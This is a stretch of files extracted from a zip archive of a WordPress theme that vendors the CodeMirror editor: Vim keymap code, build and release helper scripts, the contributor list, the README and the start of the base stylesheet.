      cm.toggleOverwrite(false); // exit replace mode if we were in it.
      // update the ". register before exiting insert mode
      insertModeChangeRegister.setText(lastChange.changes.join(''));
      CodeMirror.signal(cm, "vim-mode-change", {mode: "normal"});
      if (macroModeState.isRecording) {
        logInsertModeChange(macroModeState);
      }
    }

    function _mapCommand(command) {
      defaultKeymap.unshift(command);
    }

    function mapCommand(keys, type, name, args, extra) {
      var command = {keys: keys, type: type};
      command[type] = name;
      command[type + "Args"] = args;
      for (var key in extra)
        command[key] = extra[key];
      _mapCommand(command);
    }

    // The timeout in milliseconds for the two-character ESC keymap should be
    // adjusted according to your typing speed to prevent false positives.
    defineOption('insertModeEscKeysTimeout', 200, 'number');

    CodeMirror.keyMap['vim-insert'] = {
      // TODO: override navigation keys so that Esc will cancel automatic
      // indentation from o, O, i_<CR>
      'Ctrl-N': 'autocomplete',
      'Ctrl-P': 'autocomplete',
      'Enter': function(cm) {
        var fn = CodeMirror.commands.newlineAndIndentContinueComment ||
            CodeMirror.commands.newlineAndIndent;
        fn(cm);
      },
      fallthrough: ['default'],
      attach: attachVimMap,
      detach: detachVimMap,
      call: cmKey
    };

    CodeMirror.keyMap['vim-replace'] = {
      'Backspace': 'goCharLeft',
      fallthrough: ['vim-insert'],
      attach: attachVimMap,
      detach: detachVimMap,
      call: cmKey
    };

    function executeMacroRegister(cm, vim, macroModeState, registerName) {
      var register = vimGlobalState.registerController.getRegister(registerName);
      if (registerName == ':') {
        // Read-only register containing last Ex command.
        if (register.keyBuffer[0]) {
          exCommandDispatcher.processCommand(cm, register.keyBuffer[0]);
        }
        macroModeState.isPlaying = false;
        return;
      }
      var keyBuffer = register.keyBuffer;
      var imc = 0;
      macroModeState.isPlaying = true;
      macroModeState.replaySearchQueries = register.searchQueries.slice(0);
      for (var i = 0; i < keyBuffer.length; i++) {
        var text = keyBuffer[i];
        var match, key;
        while (text) {
          // Pull off one command key, which is either a single character
          // or a special sequence wrapped in '<' and '>', e.g. '<Space>'.
          match = (/<\w+-.+?>|<\w+>|./).exec(text);
          key = match[0];
          text = text.substring(match.index + key.length);
          CodeMirror.Vim.handleKey(cm, key, 'macro');
          if (vim.insertMode) {
            var changes = register.insertModeChanges[imc++].changes;
            vimGlobalState.macroModeState.lastInsertModeChanges.changes =
                changes;
            repeatInsertModeChanges(cm, changes, 1);
            exitInsertMode(cm);
          }
        }
      };
      macroModeState.isPlaying = false;
    }

    function logKey(macroModeState, key) {
      if (macroModeState.isPlaying) { return; }
      var registerName = macroModeState.latestRegister;
      var register = vimGlobalState.registerController.getRegister(registerName);
      if (register) {
        register.pushText(key);
      }
    }

    function logInsertModeChange(macroModeState) {
      if (macroModeState.isPlaying) { return; }
      var registerName = macroModeState.latestRegister;
      var register = vimGlobalState.registerController.getRegister(registerName);
      if (register && register.pushInsertModeChanges) {
        register.pushInsertModeChanges(macroModeState.lastInsertModeChanges);
      }
    }

    function logSearchQuery(macroModeState, query) {
      if (macroModeState.isPlaying) { return; }
      var registerName = macroModeState.latestRegister;
      var register = vimGlobalState.registerController.getRegister(registerName);
      if (register && register.pushSearchQuery) {
        register.pushSearchQuery(query);
      }
    }

    /**
     * Listens for changes made in insert mode.
     * Should only be active in insert mode.
     */
    function onChange(_cm, changeObj) {
      var macroModeState = vimGlobalState.macroModeState;
      var lastChange = macroModeState.lastInsertModeChanges;
      if (!macroModeState.isPlaying) {
        while(changeObj) {
          lastChange.expectCursorActivityForChange = true;
          if (changeObj.origin == '+input' || changeObj.origin == 'paste'
              || changeObj.origin === undefined /* only in testing */) {
            var text = changeObj.text.join('\n');
            lastChange.changes.push(text);
          }
          // Change objects may be chained with next.
          changeObj = changeObj.next;
        }
      }
    }

    /**
    * Listens for any kind of cursor activity on CodeMirror.
    */
    function onCursorActivity(cm) {
      var vim = cm.state.vim;
      if (vim.insertMode) {
        // Tracking cursor activity in insert mode (for macro support).
        var macroModeState = vimGlobalState.macroModeState;
        if (macroModeState.isPlaying) { return; }
        var lastChange = macroModeState.lastInsertModeChanges;
        if (lastChange.expectCursorActivityForChange) {
          lastChange.expectCursorActivityForChange = false;
        } else {
          // Cursor moved outside the context of an edit. Reset the change.
          lastChange.changes = [];
        }
      } else if (!cm.curOp.isVimOp) {
        handleExternalSelection(cm, vim);
      }
      if (vim.visualMode) {
        updateFakeCursor(cm);
      }
    }
    function updateFakeCursor(cm) {
      var vim = cm.state.vim;
      var from = clipCursorToContent(cm, copyCursor(vim.sel.head));
      var to = offsetCursor(from, 0, 1);
      if (vim.fakeCursor) {
        vim.fakeCursor.clear();
      }
      vim.fakeCursor = cm.markText(from, to, {className: 'cm-animate-fat-cursor'});
    }
    function handleExternalSelection(cm, vim) {
      var anchor = cm.getCursor('anchor');
      var head = cm.getCursor('head');
      // Enter or exit visual mode to match mouse selection.
      if (vim.visualMode && !cm.somethingSelected()) {
        exitVisualMode(cm, false);
      } else if (!vim.visualMode && !vim.insertMode && cm.somethingSelected()) {
        vim.visualMode = true;
        vim.visualLine = false;
        CodeMirror.signal(cm, "vim-mode-change", {mode: "visual"});
      }
      if (vim.visualMode) {
        // Bind CodeMirror selection model to vim selection model.
        // Mouse selections are considered visual characterwise.
        var headOffset = !cursorIsBefore(head, anchor) ? -1 : 0;
        var anchorOffset = cursorIsBefore(head, anchor) ? -1 : 0;
        head = offsetCursor(head, 0, headOffset);
        anchor = offsetCursor(anchor, 0, anchorOffset);
        vim.sel = {
          anchor: anchor,
          head: head
        };
        updateMark(cm, vim, '<', cursorMin(head, anchor));
        updateMark(cm, vim, '>', cursorMax(head, anchor));
      } else if (!vim.insertMode) {
        // Reset lastHPos if selection was modified by something outside of vim mode e.g. by mouse.
        vim.lastHPos = cm.getCursor().ch;
      }
    }

    /** Wrapper for special keys pressed in insert mode */
    function InsertModeKey(keyName) {
      this.keyName = keyName;
    }

    /**
    * Handles raw key down events from the text area.
    * - Should only be active in insert mode.
    * - For recording deletes in insert mode.
    */
    function onKeyEventTargetKeyDown(e) {
      var macroModeState = vimGlobalState.macroModeState;
      var lastChange = macroModeState.lastInsertModeChanges;
      var keyName = CodeMirror.keyName(e);
      if (!keyName) { return; }
      function onKeyFound() {
        lastChange.changes.push(new InsertModeKey(keyName));
        return true;
      }
      if (keyName.indexOf('Delete') != -1 || keyName.indexOf('Backspace') != -1) {
        CodeMirror.lookupKey(keyName, 'vim-insert', onKeyFound);
      }
    }

    /**
     * Repeats the last edit, which includes exactly 1 command and at most 1
     * insert. Operator and motion commands are read from lastEditInputState,
     * while action commands are read from lastEditActionCommand.
     *
     * If repeatForInsert is true, then the function was called by
     * exitInsertMode to repeat the insert mode changes the user just made. The
     * corresponding enterInsertMode call was made with a count.
     */
    function repeatLastEdit(cm, vim, repeat, repeatForInsert) {
      var macroModeState = vimGlobalState.macroModeState;
      macroModeState.isPlaying = true;
      var isAction = !!vim.lastEditActionCommand;
      var cachedInputState = vim.inputState;
      function repeatCommand() {
        if (isAction) {
          commandDispatcher.processAction(cm, vim, vim.lastEditActionCommand);
        } else {
          commandDispatcher.evalInput(cm, vim);
        }
      }
      function repeatInsert(repeat) {
        if (macroModeState.lastInsertModeChanges.changes.length > 0) {
          // For some reason, repeat cw in desktop VIM does not repeat
          // insert mode changes. Will conform to that behavior.
          repeat = !vim.lastEditActionCommand ? 1 : repeat;
          var changeObject = macroModeState.lastInsertModeChanges;
          repeatInsertModeChanges(cm, changeObject.changes, repeat);
        }
      }
      vim.inputState = vim.lastEditInputState;
      if (isAction && vim.lastEditActionCommand.interlaceInsertRepeat) {
        // o and O repeat have to be interlaced with insert repeats so that the
        // insertions appear on separate lines instead of the last line.
        for (var i = 0; i < repeat; i++) {
          repeatCommand();
          repeatInsert(1);
        }
      } else {
        if (!repeatForInsert) {
          // Hack to get the cursor to end up at the right place. If I is
          // repeated in insert mode repeat, cursor will be 1 insert
          // change set left of where it should be.
          repeatCommand();
        }
        repeatInsert(repeat);
      }
      vim.inputState = cachedInputState;
      if (vim.insertMode && !repeatForInsert) {
        // Don't exit insert mode twice. If repeatForInsert is set, then we
        // were called by an exitInsertMode call lower on the stack.
        exitInsertMode(cm);
      }
      macroModeState.isPlaying = false;
    };

    function repeatInsertModeChanges(cm, changes, repeat) {
      function keyHandler(binding) {
        if (typeof binding == 'string') {
          CodeMirror.commands[binding](cm);
        } else {
          binding(cm);
        }
        return true;
      }
      var head = cm.getCursor('head');
      var inVisualBlock = vimGlobalState.macroModeState.lastInsertModeChanges.inVisualBlock;
      if (inVisualBlock) {
        // Set up block selection again for repeating the changes.
        var vim = cm.state.vim;
        var lastSel = vim.lastSelection;
        var offset = getOffset(lastSel.anchor, lastSel.head);
        selectForInsert(cm, head, offset.line + 1);
        repeat = cm.listSelections().length;
        cm.setCursor(head);
      }
      for (var i = 0; i < repeat; i++) {
        if (inVisualBlock) {
          cm.setCursor(offsetCursor(head, i, 0));
        }
        for (var j = 0; j < changes.length; j++) {
          var change = changes[j];
          if (change instanceof InsertModeKey) {
            CodeMirror.lookupKey(change.keyName, 'vim-insert', keyHandler);
          } else {
            var cur = cm.getCursor();
            cm.replaceRange(change, cur, cur);
          }
        }
      }
      if (inVisualBlock) {
        cm.setCursor(offsetCursor(head, 0, 1));
      }
    }

    resetVimGlobalState();
    return vimApi;
  };
  // Initialize Vim and make it available as an API.
  CodeMirror.Vim = Vim();
});
PK     N\MG   G   =  inc/customizer/framework/assets/js/vendor/codemirror/bin/lintnu [        #!/usr/bin/env node

process.exit(require("../test/lint").ok ? 0 : 1);
PK     N\{b  b  @  inc/customizer/framework/assets/js/vendor/codemirror/bin/releasenu [        #!/usr/bin/env node

var fs = require("fs"), child = require("child_process");

var number, bumpOnly;

for (var i = 2; i < process.argv.length; i++) {
  if (process.argv[i] == "-bump") bumpOnly = true;
  else if (/^\d+\.\d+\.\d+$/.test(process.argv[i])) number = process.argv[i];
  else { console.log("Bogus command line arg: " + process.argv[i]); process.exit(1); }
}

if (!number) { console.log("Must give a version"); process.exit(1); }

function rewrite(file, f) {
  fs.writeFileSync(file, f(fs.readFileSync(file, "utf8")), "utf8");
}

rewrite("lib/codemirror.js", function(lib) {
  return lib.replace(/CodeMirror\.version = "\d+\.\d+\.\d+"/,
                     "CodeMirror.version = \"" + number + "\"");
});
function rewriteJSON(pack) {
  return pack.replace(/"version":"\d+\.\d+\.\d+"/, "\"version\":\"" + number + "\"");
}
rewrite("package.json", rewriteJSON);
rewrite("doc/manual.html", function(manual) {
  return manual.replace(/>version \d+\.\d+\.\d+<\/span>/, ">version " + number + "</span>");
});

if (bumpOnly) process.exit(0);

child.exec("bash bin/authors.sh", function(){});

var simple = number.slice(0, number.lastIndexOf("."));

rewrite("doc/compress.html", function(cmp) {
  return cmp.replace(/<option value="http:\/\/codemirror.net\/">HEAD<\/option>/,
                     "<option value=\"http://codemirror.net/\">HEAD</option>\n        <option value=\"http://marijnhaverbeke.nl/git/codemirror?a=blob_plain;hb=" + number + ";f=\">" + simple + "</option>");
});

rewrite("index.html", function(index) {
  return index.replace(/\.zip">\d+\.\d+<\/a>/,
                       ".zip\">" + simple + "</a>");
});
PK     N\l#  #  C  inc/customizer/framework/assets/js/vendor/codemirror/bin/authors.shnu [        # Combine existing list of authors with everyone known in git, sort, add header.
tail --lines=+3 AUTHORS > AUTHORS.tmp
git log --format='%aN' >> AUTHORS.tmp
echo -e "List of CodeMirror contributors. Updated before every release.\n" > AUTHORS
sort -u AUTHORS.tmp >> AUTHORS
rm -f AUTHORS.tmp
PK     N\
  
  A  inc/customizer/framework/assets/js/vendor/codemirror/bin/compressnu [        #!/usr/bin/env node

// Compression helper for CodeMirror
//
// Example:
//
//   bin/compress codemirror runmode javascript xml
//
// Will take lib/codemirror.js, addon/runmode/runmode.js,
// mode/javascript/javascript.js, and mode/xml/xml.js, run them though
// the online minifier at http://marijnhaverbeke.nl/uglifyjs, and spit
// out the result.
//
//   bin/compress codemirror --local /path/to/bin/UglifyJS
//
// Will use a local minifier instead of the online default one.
//
// Script files are specified without .js ending. Prefixing them with
// their full (local) path is optional. So you may say lib/codemirror
// or mode/xml/xml to be more precise. In fact, even the .js suffix
// may be speficied, if wanted.

"use strict";

var fs = require("fs");

function help(ok) {
  console.log("usage: " + process.argv[1] + " [--local /path/to/uglifyjs] files...");
  process.exit(ok ? 0 : 1);
}

var local = null, args = [], extraArgs = null, files = [], blob = "";

for (var i = 2; i < process.argv.length; ++i) {
  var arg = process.argv[i];
  if (arg == "--local" && i + 1 < process.argv.length) {
    var parts = process.argv[++i].split(/\s+/);
    local = parts[0];
    extraArgs = parts.slice(1);
    if (!extraArgs.length) extraArgs = ["-c", "-m"];
  } else if (arg == "--help") {
    help(true);
  } else if (arg[0] != "-") {
    files.push({name: arg, re: new RegExp("(?:\\/|^)" + arg + (/\.js$/.test(arg) ? "$" : "\\.js$"))});
  } else help(false);
}

function walk(dir) {
  fs.readdirSync(dir).forEach(function(fname) {
    if (/^[_\.]/.test(fname)) return;
    var file = dir + fname;
    if (fs.statSync(file).isDirectory()) return walk(file + "/");
    if (files.some(function(spec, i) {
      var match = spec.re.test(file);
      if (match) files.splice(i, 1);
      return match;
    })) {
      if (local) args.push(file);
      else blob += fs.readFileSync(file, "utf8");
    }
  });
}

walk("lib/");
walk("addon/");
walk("mode/");

if (!local && !blob) help(false);

if (files.length) {
  console.log("Some speficied files were not found: " +
              files.map(function(a){return a.name;}).join(", "));
  process.exit(1);
}
  
if (local) {
  require("child_process").spawn(local, args.concat(extraArgs), {stdio: ["ignore", process.stdout, process.stderr]});
} else {
  var data = new Buffer("js_code=" + require("querystring").escape(blob), "utf8");
  var req = require("http").request({
    host: "marijnhaverbeke.nl",
    port: 80,
    method: "POST",
    path: "/uglifyjs",
    headers: {"content-type": "application/x-www-form-urlencoded",
              "content-length": data.length}
  });
  req.on("response", function(resp) {
    resp.on("data", function (chunk) { process.stdout.write(chunk); });
  });
  req.end(data);
}
PK     N\2    I  inc/customizer/framework/assets/js/vendor/codemirror/bin/source-highlightnu [        #!/usr/bin/env node

// Simple command-line code highlighting tool. Reads code from stdin,
// spits html to stdout. For example:
//
//   echo 'function foo(a) { return a; }' | bin/source-highlight -s javascript
//   bin/source-highlight -s 

var fs = require("fs");

var CodeMirror = require("../addon/runmode/runmode.node.js");
require("../mode/meta.js");

var sPos = process.argv.indexOf("-s");
if (sPos == -1 || sPos == process.argv.length - 1) {
   console.error("Usage: source-highlight -s language");
   process.exit(1);
}
var lang = process.argv[sPos + 1].toLowerCase(), modeName = lang;
CodeMirror.modeInfo.forEach(function(info) {
  if (info.mime == lang) {
    modeName = info.mode;
  } else if (info.name.toLowerCase() == lang) {
    modeName = info.mode;
    lang = info.mime;
  }
});

if (!CodeMirror.modes[modeName])
  require("../mode/" + modeName + "/" + modeName + ".js");

function esc(str) {
  return str.replace(/[<&]/g, function(ch) { return ch == "&" ? "&amp;" : "&lt;"; });
}

var code = fs.readFileSync("/dev/stdin", "utf8");
var curStyle = null, accum = "";
function flush() {
  if (curStyle) process.stdout.write("<span class=\"" + curStyle.replace(/(^|\s+)/g, "$1cm-") + "\">" + esc(accum) + "</span>");
  else process.stdout.write(esc(accum));
}

CodeMirror.runMode(code, lang, function(text, style) {
  if (style != curStyle) {
    flush();
    curStyle = style; accum = text;
  } else {
    accum += text;
  }
});
flush();
PK     N\j    <  inc/customizer/framework/assets/js/vendor/codemirror/AUTHORSnu [        List of CodeMirror contributors. Updated before every release.

4r2r
Aaron Brooks
Abdelouahab
Abe Fettig
Adam Ahmed
Adam King
adanlobato
Adán Lobato
Adrian Aichner
aeroson
Ahmad Amireh
Ahmad M. Zawawi
ahoward
Akeksandr Motsjonov
Alberto González Palomo
Alberto Pose
Albert Xing
Alexander Pavlov
Alexander Schepanovski
Alexander Shvets
Alexander Solovyov
Alexandre Bique
alexey-k
Alex Piggott
Aliaksei Chapyzhenka
Allen Sarkisyan
Amin Shali
amshali@google.com
Amsul
amuntean
Amy
Ananya Sen
anaran
AndersMad
Anders Nawroth
Anderson Mesquita
Anders Wåglund
Andrea G
Andreas Reischuck
Andres Taylor
Andre von Houck
Andrey Fedorov
Andrey Klyuchnikov
Andrey Lushnikov
Andy Joslin
Andy Kimball
Andy Li
Angelo
angelozerr
angelo.zerr@gmail.com
Ankit
Ankit Ahuja
Ansel Santosa
Anthony Dugois
anthonygego
Anthony Gégo
Anthony Grimes
Anton Kovalyov
AQNOUCH Mohammed
areos
as3boyan
AtomicPages LLC
Atul Bhouraskar
Aurelian Oancea
Barret Rennie
Basarat Ali Syed
Bastian Müller
belhaj
Bem Jones-Bey
benbro
Beni Cherniavsky-Paskin
Benjamin DeCoste
Ben Keen
Bernhard Sirlinger
Bert Chang
Billy Moon
binny
B Krishna Chaitanya
Blaine G
blukat29
boomyjee
borawjm
Brad Metcalf
Brandon Frohs
Brandon Wamboldt
Brett Zamir
Brian Grinstead
Brian Sletten
Bruce Mitchener
Caitlin Potter
Calin Barbat
Chandra Sekhar Pydi
Charles Skelton
Cheah Chu Yeow
Chris Coyier
Chris Granger
Chris Houseknecht
Chris Lohfink
Chris Morgan
Christian Oyarzun
Christian Petrov
Christopher Brown
Christopher Mitchell
Christopher Pfohl
ciaranj
CodeAnimal
coderaiser
ComFreek
Curtis Gagliardi
dagsta
daines
Dale Jung
Dan Bentley
Dan Heberden
Daniel, Dao Quang Minh
Daniele Di Sarli
Daniel Faust
Daniel Huigens
Daniel KJ
Daniel Neel
Daniel Parnell
Danny Yoo
darealshinji
Darius Roberts
Dave Brondsema
Dave Myers
David Barnett
David Mignot
David Pathakjee
David Vázquez
deebugger
Deep Thought
Devon Carew
dignifiedquire
Dimage Sapelkin
Dmitry Kiselyov
domagoj412
Dominator008
Domizio Demichelis
Doug Wikle
Drew Bratcher
Drew Hintz
Drew Khoury
Dror BG
duralog
eborden
edsharp
ekhaled
Elisée
Enam Mijbah Noor
Eric Allam
eustas
Fabien O'Carroll
Fabio Zendhi Nagao
Faiza Alsaied
Fauntleroy
fbuchinger
feizhang365
Felipe Lalanne
Felix Raab
Filip Noetzel
flack
ForbesLindesay
Forbes Lindesay
Ford_Lawnmower
Forrest Oliphant
Frank Wiegand
Gabriel Gheorghian
Gabriel Horner
Gabriel Nahmias
galambalazs
Gautam Mehta
gekkoe
Gerard Braad
Gergely Hegykozi
Giovanni Calò
Glenn Jorde
Glenn Ruehle
Golevka
Gordon Smith
Grant Skinner
greengiant
Gregory Koberger
Guillaume Massé
Guillaume Massé
Gustavo Rodrigues
Hakan Tunc
Hans Engel
Hardest
Hasan Karahan
Hector Oswaldo Caballero
Herculano Campos
Hiroyuki Makino
hitsthings
Hocdoc
Ian Beck
Ian Dickinson
Ian Wehrman
Ian Wetherbee
Ice White
ICHIKAWA, Yuji
idleberg
ilvalle
Ingo Richter
Irakli Gozalishvili
Ivan Kurnosov
Ivoah
Jacob Lee
Jakob Miland
Jakub Vrana
Jakub Vrána
James Campos
James Thorne
Jamie Hill
Jan Jongboom
jankeromnes
Jan Keromnes
Jan Odvarko
Jan T. Sott
Jared Forsyth
Jason
Jason Barnabe
Jason Grout
Jason Johnston
Jason San Jose
Jason Siefken
Jaydeep Solanki
Jean Boussier
Jeff Blaisdell
jeffkenton
Jeff Pickhardt
jem (graphite)
Jeremy Parmenter
Jochen Berger
Johan Ask
John Connor
John Engler
John Lees-Miller
John Snelson
John Van Der Loo
Jonas Döbertin
Jonathan Malmaud
jongalloway
Jon Malmaud
Jon Sangster
Joost-Wim Boekesteijn
Joseph Pecoraro
Joshua Newman
Josh Watzman
jots
jsoojeon
ju1ius
Juan Benavides Romero
Jucovschi Constantin
Juho Vuori
Justin Hileman
jwallers@gmail.com
kaniga
karevn
Ken Newman
Ken Rockot
Kevin Earls
Kevin Sawicki
Kevin Ushey
Klaus Silveira
Koh Zi Han, Cliff
komakino
Konstantin Lopuhin
koops
ks-ifware
kubelsmieci
KwanEsq
Lanfei
Lanny
Laszlo Vidacs
leaf corcoran
Leonid Khachaturov
Leon Sorokin
Leonya Khachaturov
Liam Newman
Libo Cannici
LloydMilligan
LM
lochel
Lorenzo Stoakes
Luciano Longo
Luke Stagner
lynschinzer
M1cha
Madhura Jayaratne
Maksim Lin
Maksym Taran
Malay Majithia
Manuel Rego Casasnovas
Marat Dreizin
Marcel Gerber
Marco Aurélio
Marco Munizaga
Marcus Bointon
Marek Rudnicki
Marijn Haverbeke
Mário Gonçalves
Mario Pietsch
Mark Anderson
Mark Lentczner
Marko Bonaci
Markus Bordihn
Martin Balek
Martín Gaitán
Martin Hasoň
Martin Hunt
Martin Laine
Martin Zagora
Mason Malone
Mateusz Paprocki
Mathias Bynens
mats cronqvist
Matt Gaide
Matthew Bauer
Matthew Beale
Matthew Rathbone
Matthias Bussonnier
Matthias BUSSONNIER
Matt McDonald
Matt Pass
Matt Sacks
mauricio
Maximilian Hils
Maxim Kraev
Max Kirsch
Max Schaefer
Max Xiantu
mbarkhau
melpon
Metatheos
Micah Dubinko
Michael
Michael Goderbauer
Michael Grey
Michael Kaminsky
Michael Lehenbauer
Michael Zhou
Michal Dorner
Mighty Guava
Miguel Castillo
mihailik
Mike
Mike Brevoort
Mike Diaz
Mike Ivanov
Mike Kadin
MinRK
Miraculix87
misfo
mkaminsky11
mloginov
Moritz Schwörer
mps
ms
mtaran-google
Narciso Jaramillo
Nathan Williams
ndr
nerbert
nextrevision
ngn
nguillaumin
Ng Zhi An
Nicholas Bollweg
Nicholas Bollweg (Nick)
Nick Kreeger
Nick Small
Niels van Groningen
nightwing
Nikita Beloglazov
Nikita Vasilyev
Nikolay Kostov
nilp0inter
Nisarg Jhaveri
nlwillia
noragrossman
Norman Rzepka
Oreoluwa Onatemowo
pablo
Page
Panupong Pasupat
paris
Paris
Patil Arpith
Patrick Stoica
Patrick Strawderman
Paul Garvin
Paul Ivanov
Pavel Feldman
Pavel Strashkin
Paweł Bartkiewicz
peteguhl
peter
Peter Flynn
peterkroon
Peter Kroon
Philip Stadermann
prasanthj
Prasanth J
Radek Piórkowski
Rahul
ramwin1
Randall Mason
Randy Burden
Randy Edmunds
Rasmus Erik Voel Jensen
ray ratchup
Ray Ratchup
Richard Denton
Richard van der Meer
Richard Z.H. Wang
Robert Crossfield
Roberto Abdelkader Martínez Pérez
robertop23
Robert Plummer
Rrandom
Ruslan Osmanov
Ryan Prior
sabaca
Samuel Ainsworth
sandeepshetty
Sander AKA Redsandro
santec
Sascha Peilicke
satamas
satchmorun
sathyamoorthi
S. Chris Colbert
SCLINIC\jdecker
Scott Aikin
Scott Goodhew
Sebastian Zaha
Se-Won Kim
shaund
shaun gilchrist
Shawn A
Shea Bunge
sheopory
Shiv Deepak
Shmuel Englard
Shubham Jain
silverwind
snasa
soliton4
sonson
spastorelli
srajanpaliwal
Stanislav Oaserele
Stas Kobzar
Stefan Borsje
Steffen Beyer
Stephen Lavelle
Steve O'Hara
stoskov
Sungho Kim
sverweij
Taha Jahangir
Tako Schotanus
Takuji Shimokawa
Tarmil
tel
tfjgeorge
Thaddee Tyl
thanasis
TheHowl
think
Thomas Dvornik
Thomas Schmid
Tim Alby
Tim Baumann
Timothy Farrell
Timothy Hatcher
TobiasBg
Tomas-A
Tomas Varaneckas
Tom Erik Støwer
Tom MacWright
Tony Jian
Travis Heppe
Triangle717
twifkak
Vestimir Markov
vf
Victor Bocharsky
Vincent Woo
Volker Mische
wenli
Wes Cossick
Wesley Wiser
Will Binns-Smith
William Jamieson
William Stein
Willy
Wojtek Ptak
Xavier Mendez
Yassin N. Hassan
YNH Webdev
Yunchi Luo
Yuvi Panda
Zachary Dremann
Zhang Hao
zziuni
魏鹏刚
PK     N\@f    >  inc/customizer/framework/assets/js/vendor/codemirror/README.mdnu [        # CodeMirror
[![Build Status](https://travis-ci.org/codemirror/CodeMirror.svg)](https://travis-ci.org/codemirror/CodeMirror)
[![NPM version](https://img.shields.io/npm/v/codemirror.svg)](https://www.npmjs.org/package/codemirror)
[![Join the chat at https://gitter.im/codemirror/CodeMirror](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/codemirror/CodeMirror)  
[Funding status: ![maintainer happiness](https://marijnhaverbeke.nl/fund/status_s.png?again)](https://marijnhaverbeke.nl/fund/)

CodeMirror is a versatile text editor implemented in JavaScript for
the browser. It is specialized for editing code, and comes with over
100 language modes and various addons that implement more advanced
editing functionality.

A rich programming API and a CSS theming system are available for
customizing CodeMirror to fit your application, and extending it with
new functionality.

You can find more information (and the
[manual](http://codemirror.net/doc/manual.html)) on the [project
page](http://codemirror.net). For questions and discussion, use the
[discussion forum](http://discuss.codemirror.net/).

See
[CONTRIBUTING.md](https://github.com/codemirror/CodeMirror/blob/master/CONTRIBUTING.md)
for contributing guidelines.

The CodeMirror community aims to be welcoming to everybody. We use the
[Contributor Covenant
(1.1)](http://contributor-covenant.org/version/1/1/0/) as our code of
conduct.
PK     N\_W  W  G  inc/customizer/framework/assets/js/vendor/codemirror/lib/codemirror.cssnu [        /* BASICS */

.CodeMirror {
  /* Set height, width, borders, and global font properties here */
  font-family: monospace;
  height: 300px;
  color: black;
}

/* PADDING */

.CodeMirror-lines {
  padding: 4px 0; /* Vertical padding around content */
}
.CodeMirror pre {
  padding: 0 4px; /* Horizontal padding of content */
}

.CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
  background-color: white; /* The little square between H and V scrollbars */
}

/* GUTTER */

.CodeMirror-gutters {
  border-right: 1px solid #ddd;
  background-color: #f7f7f7;
  white-space: nowrap;
}
.CodeMirror-linenumbers {}
.CodeMirror-linenumber {
  padding: 0 3px 0 5px;
  min-width: 20px;
  text-align: right;
  color: #999;
  white-space: nowrap;
}

.CodeMirror-guttermarker { color: black; }
.CodeMirror-guttermarker-subtle { color: #999; }

/* CURSOR */

.CodeMirror-cursor {
  border-left: 1px solid black;
  border-right: none;
  width: 0;
}
/* Shown when moving in bi-directional text */
.CodeMirror div.CodeMirror-secondarycursor {
  border-left: 1px solid silver;
}
.cm-fat-cursor .CodeMirror-cursor {
  width: auto;
  border: 0;
  background: #7e7;
}
.cm-fat-cursor div.CodeMirror-cursors {
  z-index: 1;
}

.cm-animate-fat-cursor {
  width: auto;
  border: 0;
  -webkit-animation: blink 1.06s steps(1) infinite;
  -moz-animation: blink 1.06s steps(1) infinite;
  animation: blink 1.06s steps(1) infinite;
  background-color: #7e7;
}
@-moz-keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}
@-webkit-keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}
@keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}

/* Can style cursor different in overwrite (non-insert) mode */
.CodeMirror-overwrite .CodeMirror-cursor {}

.cm-tab { display: inline-block; text-decoration: inherit; }

.CodeMirror-ruler {
  border-left: 1px solid #ccc;
  position: absolute;
}

/* DEFAULT THEME */

.cm-s-default .cm-header {color: blue;}
.cm-s-default .cm-quote {color: #090;}
.cm-negative {color: #d44;}
.cm-positive {color: #292;}
.cm-header, .cm-strong {font-weight: bold;}
.cm-em {font-style: italic;}
.cm-link {text-decoration: underline;}
.cm-strikethrough {text-decoration: line-through;}

.cm-s-default .cm-keyword {color: #708;}
.cm-s-default .cm-atom {color: #219;}
.cm-s-default .cm-number {color: #164;}
.cm-s-default .cm-def {color: #00f;}
.cm-s-default .cm-variable,
.cm-s-default .cm-punctuation,
.cm-s-default .cm-property,
.cm-s-default .cm-operator {}
.cm-s-default .cm-variable-2 {color: #05a;}
.cm-s-default .cm-variable-3 {color: #085;}
.cm-s-default .cm-comment {color: #a50;}
.cm-s-default .cm-string {color: #a11;}
.cm-s-default .cm-string-2 {color: #f50;}
.cm-s-default .cm-meta {color: #555;}
.cm-s-default .cm-qualifier {color: #555;}
.cm-s-default .cm-builtin {color: #30a;}
.cm-s-default .cm-bracket {color: #997;}
.cm-s-default .cm-tag {color: #170;}
.cm-s-default .cm-attribute {color: #00c;}
.cm-s-default .cm-hr {color: #999;}
.cm-s-default .cm-link {color: #00c;}

.cm-s-default .cm-error {color: #f00;}
.cm-invalidchar {color: #f00;}

.CodeMirror-composing { border-bottom: 2px solid; }

/* Default styles for common addons */

div.CodeMirror span.CodeMirror-matchingbracket {color: #0f0;}
div.CodeMirror span.CodeMirror-nonmatchingbracket {color: #f22;}
.CodeMirror-matchingtag { background: rgba(255, 150, 0, .3); }
.CodeMirror-activeline-background {background: #e8f2ff;}

/* STOP */

/* The rest of this file contains styles related to the mechanics of
   the editor. You probably shouldn't touch them. */

.CodeMirror {
  position: relative;
  overflow: hidden;
  background: white;
}

.CodeMirror-scroll {
  overflow: scroll !important; /* Things will break if this is overridden */
  /* 30px is the magic margin used to hide the element's real scrollbars */
  /* See overflow: hidden in .CodeMirror */
  margin-bottom: -30px; margin-right: -30px;
  padding-bottom: 30px;
  height: 100%;
  outline: none; /* Prevent dragging from highlighting the element */
  position: relative;
}
.CodeMirror-sizer {
  position: relative;
  border-right: 30px solid transparent;
}

/* The fake, visible scrollbars. Used to force redraw during scrolling
   before actuall scrolling happens, thus preventing shaking and
   flickering artifacts. */
.CodeMirror-vscrollbar, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
  position: absolute;
  z-index: 6;
  display: none;
}
.CodeMirror-vscrollbar {
  right: 0; top: 0;
  overflow-x: hidden;
  overflow-y: scroll;
}
.CodeMirror-hscrollbar {
  bottom: 0; left: 0;
  overflow-y: hidden;
  overflow-x: scroll;
}
.CodeMirror-scrollbar-filler {
  right: 0; bottom: 0;
}
.CodeMirror-gutter-filler {
  left: 0; bottom: 0;
}

.CodeMirror-gutters {
  position: absolute; left: 0; top: 0;
  z-index: 3;
}
.CodeMirror-gutter {
  white-space: normal;
  height: 100%;
